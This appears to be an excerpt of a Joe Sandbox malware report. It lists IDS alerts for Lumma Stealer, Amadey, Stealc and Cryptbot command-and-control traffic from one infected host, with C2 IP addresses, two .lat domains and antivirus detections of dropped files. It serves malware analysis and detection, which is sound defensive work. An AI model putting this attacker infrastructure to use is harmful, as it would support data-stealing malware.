2024-12-18T17:09:31.018616+0100	2028371	3	Unknown Traffic	192.168.2.4	50013	172.67.179.109	443	TCP
2024-12-18T17:09:32.981771+0100	2028371	3	Unknown Traffic	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:09:34.967633+0100	2028371	3	Unknown Traffic	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:09:35.107976+0100	2028371	3	Unknown Traffic	192.168.2.4	50037	172.67.179.109	443	TCP
2024-12-18T17:09:37.313325+0100	2028371	3	Unknown Traffic	192.168.2.4	50047	172.67.179.109	443	TCP
2024-12-18T17:09:39.507033+0100	2028371	3	Unknown Traffic	192.168.2.4	50056	172.67.179.109	443	TCP
2024-12-18T17:09:41.580940+0100	2028371	3	Unknown Traffic	192.168.2.4	50063	172.67.179.109	443	TCP
2024-12-18T17:09:43.897423+0100	2028371	3	Unknown Traffic	192.168.2.4	50074	172.67.179.109	443	TCP
2024-12-18T17:09:46.570664+0100	2028371	3	Unknown Traffic	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:09:48.723081+0100	2028371	3	Unknown Traffic	192.168.2.4	50092	172.67.179.109	443	TCP
2024-12-18T17:14:25.740191+0100	2028371	3	Unknown Traffic	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:29.063763+0100	2028371	3	Unknown Traffic	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:33.272436+0100	2028371	3	Unknown Traffic	192.168.2.4	50327	172.67.179.109	443	TCP
2024-12-18T17:14:36.820841+0100	2028371	3	Unknown Traffic	192.168.2.4	50328	172.67.179.109	443	TCP
2024-12-18T17:14:37.437747+0100	2028371	3	Unknown Traffic	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:39.055117+0100	2028371	3	Unknown Traffic	192.168.2.4	50331	172.67.179.109	443	TCP
2024-12-18T17:14:39.593178+0100	2028371	3	Unknown Traffic	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:41.718266+0100	2028371	3	Unknown Traffic	192.168.2.4	50334	172.67.179.109	443	TCP
2024-12-18T17:14:41.958915+0100	2028371	3	Unknown Traffic	192.168.2.4	50335	172.67.179.109	443	TCP
2024-12-18T17:14:44.017266+0100	2028371	3	Unknown Traffic	192.168.2.4	50354	172.67.179.109	443	TCP
2024-12-18T17:14:45.198353+0100	2028371	3	Unknown Traffic	192.168.2.4	50360	172.67.179.109	443	TCP
2024-12-18T17:14:45.989393+0100	2028371	3	Unknown Traffic	192.168.2.4	50368	172.67.179.109	443	TCP
2024-12-18T17:14:46.023136+0100	2028371	3	Unknown Traffic	192.168.2.4	50369	172.67.179.109	443	TCP
2024-12-18T17:14:47.514653+0100	2028371	3	Unknown Traffic	192.168.2.4	50374	172.67.179.109	443	TCP
2024-12-18T17:14:47.962760+0100	2028371	3	Unknown Traffic	192.168.2.4	50375	172.67.179.109	443	TCP
2024-12-18T17:14:49.680087+0100	2028371	3	Unknown Traffic	192.168.2.4	50379	172.67.179.109	443	TCP
2024-12-18T17:14:50.251524+0100	2028371	3	Unknown Traffic	192.168.2.4	50381	172.67.179.109	443	TCP
2024-12-18T17:14:51.734974+0100	2028371	3	Unknown Traffic	192.168.2.4	50382	172.67.179.109	443	TCP
2024-12-18T17:14:52.208218+0100	2028371	3	Unknown Traffic	192.168.2.4	50383	172.67.179.109	443	TCP
2024-12-18T17:14:53.748601+0100	2028371	3	Unknown Traffic	192.168.2.4	50385	172.67.179.109	443	TCP
2024-12-18T17:14:54.223239+0100	2028371	3	Unknown Traffic	192.168.2.4	50386	172.67.179.109	443	TCP
2024-12-18T17:14:56.370178+0100	2028371	3	Unknown Traffic	192.168.2.4	50390	172.67.179.109	443	TCP
2024-12-18T17:14:58.724112+0100	2028371	3	Unknown Traffic	192.168.2.4	50392	172.67.179.109	443	TCP
2024-12-18T17:15:00.874692+0100	2028371	3	Unknown Traffic	192.168.2.4	50394	172.67.179.109	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:14:03.341302+0100	2044623	1	A Network Trojan was detected	192.168.2.4	50313	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:22.057397+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49764	172.67.131.246	443	TCP
2024-12-18T17:08:28.044251+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49778	172.67.131.246	443	TCP
2024-12-18T17:08:45.945225+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:09:00.638809+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:09:04.633120+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:08.147712+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:17.747929+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49945	104.21.23.76	443	TCP
2024-12-18T17:09:33.738409+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:09:35.749841+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:09:35.847740+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50037	172.67.179.109	443	TCP
2024-12-18T17:09:49.529305+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50092	172.67.179.109	443	TCP
2024-12-18T17:14:27.811922+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:31.791041+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:38.337911+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:40.437142+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:46.732608+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50368	172.67.179.109	443	TCP
2024-12-18T17:14:47.043816+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50369	172.67.179.109	443	TCP
2024-12-18T17:14:48.698816+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50375	172.67.179.109	443	TCP
2024-12-18T17:14:54.466877+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50385	172.67.179.109	443	TCP
2024-12-18T17:15:01.907758+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50394	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:22.057397+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49764	172.67.131.246	443	TCP
2024-12-18T17:08:45.945225+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:09:00.638809+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:09:04.633120+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:17.747929+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49945	104.21.23.76	443	TCP
2024-12-18T17:09:33.738409+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:14:27.811922+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:38.337911+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:46.732608+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50368	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:28.044251+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49778	172.67.131.246	443	TCP
2024-12-18T17:09:08.147712+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:35.749841+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:14:31.791041+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:40.437142+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:48.698816+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50375	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:40.896019+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:08:47.187287+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49839	172.67.179.109	443	TCP
2024-12-18T17:08:55.249397+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:09:01.918918+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49873	172.67.179.109	443	TCP
2024-12-18T17:09:02.602786+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:06.568845+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:11.452025+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49924	172.67.179.109	443	TCP
2024-12-18T17:09:15.256310+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49940	172.67.179.109	443	TCP
2024-12-18T17:09:19.772499+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49955	172.67.179.109	443	TCP
2024-12-18T17:09:24.158399+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49973	172.67.179.109	443	TCP
2024-12-18T17:09:31.018616+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50013	172.67.179.109	443	TCP
2024-12-18T17:09:32.981771+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:09:34.967633+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:09:35.107976+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50037	172.67.179.109	443	TCP
2024-12-18T17:09:37.313325+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50047	172.67.179.109	443	TCP
2024-12-18T17:09:39.507033+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50056	172.67.179.109	443	TCP
2024-12-18T17:09:41.580940+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50063	172.67.179.109	443	TCP
2024-12-18T17:09:43.897423+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50074	172.67.179.109	443	TCP
2024-12-18T17:09:46.570664+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:09:48.723081+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50092	172.67.179.109	443	TCP
2024-12-18T17:14:25.740191+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:29.063763+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:33.272436+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50327	172.67.179.109	443	TCP
2024-12-18T17:14:36.820841+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50328	172.67.179.109	443	TCP
2024-12-18T17:14:37.437747+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:39.055117+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50331	172.67.179.109	443	TCP
2024-12-18T17:14:39.593178+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:41.718266+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50334	172.67.179.109	443	TCP
2024-12-18T17:14:41.958915+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50335	172.67.179.109	443	TCP
2024-12-18T17:14:44.017266+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50354	172.67.179.109	443	TCP
2024-12-18T17:14:45.198353+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50360	172.67.179.109	443	TCP
2024-12-18T17:14:45.989393+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50368	172.67.179.109	443	TCP
2024-12-18T17:14:46.023136+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50369	172.67.179.109	443	TCP
2024-12-18T17:14:47.514653+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50374	172.67.179.109	443	TCP
2024-12-18T17:14:47.962760+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50375	172.67.179.109	443	TCP
2024-12-18T17:14:49.680087+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50379	172.67.179.109	443	TCP
2024-12-18T17:14:50.251524+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50381	172.67.179.109	443	TCP
2024-12-18T17:14:51.734974+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50382	172.67.179.109	443	TCP
2024-12-18T17:14:52.208218+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50383	172.67.179.109	443	TCP
2024-12-18T17:14:53.748601+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50385	172.67.179.109	443	TCP
2024-12-18T17:14:54.223239+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50386	172.67.179.109	443	TCP
2024-12-18T17:14:56.370178+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50390	172.67.179.109	443	TCP
2024-12-18T17:14:58.724112+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50392	172.67.179.109	443	TCP
2024-12-18T17:15:00.874692+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	50394	172.67.179.109	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:09:37.331586+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50046	185.215.113.16	80	TCP
2024-12-18T17:14:48.521609+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50377	185.215.113.16	80	TCP
2024-12-18T17:14:55.934283+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50388	185.215.113.16	80	TCP
2024-12-18T17:15:03.385623+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50397	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:18.689737+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49768	185.215.113.43	80	TCP
2024-12-18T17:08:31.202302+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49794	185.215.113.43	80	TCP
2024-12-18T17:08:40.282495+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49815	185.215.113.43	80	TCP
2024-12-18T17:08:50.571356+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49847	185.215.113.43	80	TCP
2024-12-18T17:08:58.054168+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49866	185.215.113.43	80	TCP
2024-12-18T17:09:06.819514+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49898	185.215.113.43	80	TCP
2024-12-18T17:09:13.650597+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49930	185.215.113.43	80	TCP
2024-12-18T17:09:22.735131+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49966	185.215.113.43	80	TCP
2024-12-18T17:09:30.364270+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50009	185.215.113.43	80	TCP
2024-12-18T17:09:42.994509+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50071	185.215.113.43	80	TCP
2024-12-18T17:09:53.632936+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50103	185.215.113.43	80	TCP
2024-12-18T17:09:56.043078+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:09:57.721547+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:10:04.172656+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:10:05.419596+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:13:00.457149+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50282	185.215.113.43	80	TCP
2024-12-18T17:14:26.710149+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50322	185.215.113.43	80	TCP
2024-12-18T17:14:30.861182+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50326	185.215.113.43	80	TCP
2024-12-18T17:14:41.177587+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50333	185.215.113.43	80	TCP
2024-12-18T17:14:46.807206+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50371	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:09:06.029794+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49896	185.185.71.170	80	TCP
2024-12-18T17:09:07.981088+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49908	185.185.71.170	80	TCP
2024-12-18T17:09:47.908746+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50087	185.185.71.170	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:39.331351+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	65533	1.1.1.1	53	UDP
2024-12-18T17:14:24.371684+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	58436	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:39.108716+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	54904	1.1.1.1	53	UDP
2024-12-18T17:08:53.876804+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	58665	1.1.1.1	53	UDP
2024-12-18T17:09:01.195512+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	63255	1.1.1.1	53	UDP
2024-12-18T17:09:31.544207+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	61986	1.1.1.1	53	UDP
2024-12-18T17:14:24.225589+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	56753	1.1.1.1	53	UDP
2024-12-18T17:14:36.066739+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	60613	1.1.1.1	53	UDP
2024-12-18T17:14:44.615712+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	49293	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:56.473055+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49857	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:55.991435+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49857	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:56.794000+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49857	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:58.297218+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49857	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:57.034975+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49857	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:46.869698+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49824	172.67.131.246	443	TCP
2024-12-18T17:09:16.073055+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49940	172.67.179.109	443	TCP
2024-12-18T17:09:47.486958+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:14:37.771408+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50328	172.67.179.109	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:55.501597+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-18T17:09:47.680652+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50085	185.215.113.206	80	TCP
2024-12-18T17:09:56.830840+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50110	185.215.113.206	80	TCP
2024-12-18T17:09:59.579339+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50118	185.215.113.206	80	TCP
2024-12-18T17:10:05.456440+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50148	185.215.113.206	80	TCP
2024-12-18T17:10:13.000411+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50187	185.215.113.206	80	TCP
2024-12-18T17:10:30.313503+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50197	185.215.113.206	80	TCP
2024-12-18T17:14:31.529961+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50325	185.215.113.206	80	TCP
2024-12-18T17:14:55.379131+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50387	185.215.113.206	80	TCP
2024-12-18T17:14:59.298768+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50391	185.215.113.206	80	TCP
2024-12-18T17:15:06.946313+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50399	185.215.113.206	80	TCP
2024-12-18T17:15:14.164287+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50436	185.215.113.206	80	TCP
2024-12-18T17:15:25.373856+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50442	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:05.213927+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49737	185.215.113.43	80	TCP
2024-12-18T17:13:06.890940+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50291	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:17.346528+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49743	TCP
2024-12-18T17:09:55.716958+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.4	50105	TCP
2024-12-18T17:12:59.093342+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50279	TCP
2024-12-18T17:13:55.950405+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50310	TCP
2024-12-18T17:14:25.374439+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50319	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:09.707537+0100	2803305	3	Unknown Traffic	192.168.2.4	49749	31.41.244.11	80	TCP
2024-12-18T17:08:20.143820+0100	2803305	3	Unknown Traffic	192.168.2.4	49771	31.41.244.11	80	TCP
2024-12-18T17:08:32.687778+0100	2803305	3	Unknown Traffic	192.168.2.4	49800	185.215.113.16	80	TCP
2024-12-18T17:08:41.739087+0100	2803305	3	Unknown Traffic	192.168.2.4	49823	185.215.113.16	80	TCP
2024-12-18T17:08:52.426976+0100	2803305	3	Unknown Traffic	192.168.2.4	49848	185.215.113.16	80	TCP
2024-12-18T17:08:59.639621+0100	2803305	3	Unknown Traffic	192.168.2.4	49867	185.215.113.16	80	TCP
2024-12-18T17:09:08.285990+0100	2803305	3	Unknown Traffic	192.168.2.4	49907	31.41.244.11	80	TCP
2024-12-18T17:09:15.275619+0100	2803305	3	Unknown Traffic	192.168.2.4	49939	31.41.244.11	80	TCP
2024-12-18T17:09:24.189257+0100	2803305	3	Unknown Traffic	192.168.2.4	49972	31.41.244.11	80	TCP
2024-12-18T17:09:31.847538+0100	2803305	3	Unknown Traffic	192.168.2.4	50022	31.41.244.11	80	TCP
2024-12-18T17:09:44.532596+0100	2803305	3	Unknown Traffic	192.168.2.4	50076	185.215.113.16	80	TCP
2024-12-18T17:09:58.176830+0100	2803305	3	Unknown Traffic	192.168.2.4	50105	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:59.624893+0100	2803304	3	Unknown Traffic	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-18T17:09:18.208780+0100	2803304	3	Unknown Traffic	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:20.405141+0100	2803304	3	Unknown Traffic	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:21.857395+0100	2803304	3	Unknown Traffic	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:23.109159+0100	2803304	3	Unknown Traffic	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:26.939280+0100	2803304	3	Unknown Traffic	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:28.525313+0100	2803304	3	Unknown Traffic	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:35.456766+0100	2803304	3	Unknown Traffic	192.168.2.4	50038	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:09:47.486958+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:14:44.791266+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50354	172.67.179.109	443	TCP
2024-12-18T17:14:52.516075+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50382	172.67.179.109	443	TCP
2024-12-18T17:14:59.586010+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50392	172.67.179.109	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
